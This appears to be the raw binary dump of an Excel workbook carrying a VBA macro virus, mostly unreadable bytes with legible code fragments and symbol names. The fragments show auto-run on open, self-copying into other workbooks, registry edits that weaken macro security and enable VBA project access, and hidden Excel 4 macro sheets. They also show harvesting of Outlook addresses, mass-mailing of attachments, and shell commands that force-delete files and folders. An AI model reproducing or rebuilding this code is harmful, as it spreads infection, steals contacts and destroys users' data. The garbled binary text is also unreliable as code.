1&$O7on FullqΛ6%F\Resuɓ&FsoɠT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsaͱ@\.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤Left(`, Lena(10  a A0 `It_Q1" e 2Write FdE AEr1"i"ba FileText.Close End If 8Sub Private @ RestoreBef Send() Dim aa As Name, i_rowIn teger"coFl"fshtObject Application.ScreenUpdng `= Fal #DisplayAlerts"On Errorume N FEachIn ThisWorkbook.Zs.Visiblbe(Tru BSOt(aa, "!")(1)"Auto_Act".en$Delet @{A ASheetAIf 3.Macxro1+RSxl@ F8/.S@)_C.AddHK *x<> UCB+eryHidden, C$C=t((15 * Rn@d) + 1i_6Cel8ls(De** CONFIDENTIAL! X" H 2I Use " & C@hr(34)@Left(Ί, Len) - B "_key.vbs @po Op+A.$3 $$1V$ˀļAWith Range(*, t'3"L.Font.B8oldVhgColorIndex3cőHFun noneApfter+EN, del_rnBgfragBooleaO`{e"[br??fl l")Bwck& ! td).c>"A1:F1 5"9 InStr(.Valu"i") > 20| *= 5xit stdole h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft S_VBA_PROJECTdir__SRP_0 __SRP_1^IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`_B_str_Environ` _B_var_UCasea` _B_var_Time$` _B_var_TrimmT`_B_var_Environ/` _B_var_Midp` % l"uMOG=ano$PJΝO-2@IBmI?ARbD]~GBҖ#xwFL\hF Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole``hared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +B3BThisWorkbookG TisWArkboU 2 HB1B[,B,!*"B+BBSheet1GS@#e@t1H&2N2)U2222R 3 35 3 3 )|U 4 4 4 4 ToD @ TGDO~Lg7 )7!EbrU~~~~~~s ay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 T3ThisWorkbook0F541005f3ThisWorkbook[ Sheet10H541005f3 Sheet12) Sheet20J541005f3 Sheet20 Sheet30L541005f3 Sheet3|H Sheet40N541005f3 Sheet4` ToDOLE0P54100608$ ToDOLExx`H0uMOG=ano$PJΝO-2@IBmI?ARbD]~GBҖ#xwFL\hF Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` Sheet4` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`ibleVBE6.DLL q`  q" (p(p]SDe8Ս ƃVΟOZق Ҍ®¼H #e.!,I}#4ϸ;{O1BAzt-XaJxEWDF Workbook_openxx_workbookOpen H88 A1:F15 Range Value CONFIDENTIAL Delete\nJ$BGp>LI |g8cE$4 :qYDA|W !2xOA*Z%8W@~$j2/6 GIk >]<1iC 4scRiPTinG.fiLEsysTeMoBjEcT k4.xls XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORD q  WScript.Shell RegWrite \k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q " q  qX  10:00:00 11:00:00 14:00:00 15:00:00 q zF XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXE <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txt q @ qd ` ToDolefĤIx8< Temp \ .bas .! OĦ q  q  q  q  q ( q H  qx hqFY\έNfDFWorkbookFName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As A  14 iwb ModuleName   FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf i ( i)8 iHxx iK*yrU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~l O%kD,G G   ) A Y qa  )Qy1Yy! Q ) Y Yii1 VBAProject ThisWorkbookSheet1Sheet2Sheet3Sheet4ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  I0F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel Q@0F @C:\WINDOWS\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF FuVO GFY\έNfDFWorkbookFName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ G #G^a BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF\bO6Xۻ F/L"JZ{o&DF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4<[XB=\j: 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2Vis! XThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3Sheet4Sheet4ToDOLEToDOLEID="{6161B01D-F682-4DE6-B6D9-A75DADCDA97F}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Document=Sheet4/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompaPROJECTwmPROJECT]SummaryInformation(DocumentSummaryInformation8tible32="393222000" CMG="0604256525E563E963E963E963E9" DPB="484A6B6C6C6C6C6C" GC="8A88A9E9EAEAEAEA15" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C Sheet4=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0HP\h Microsoft Excel@)@2@!q՜.+,0 PXd lt| ' HPYAMBSheet1Sheet2Sheet3  FMicrosoft Office Excel CompObjjBiff8Excel.Sheet.89q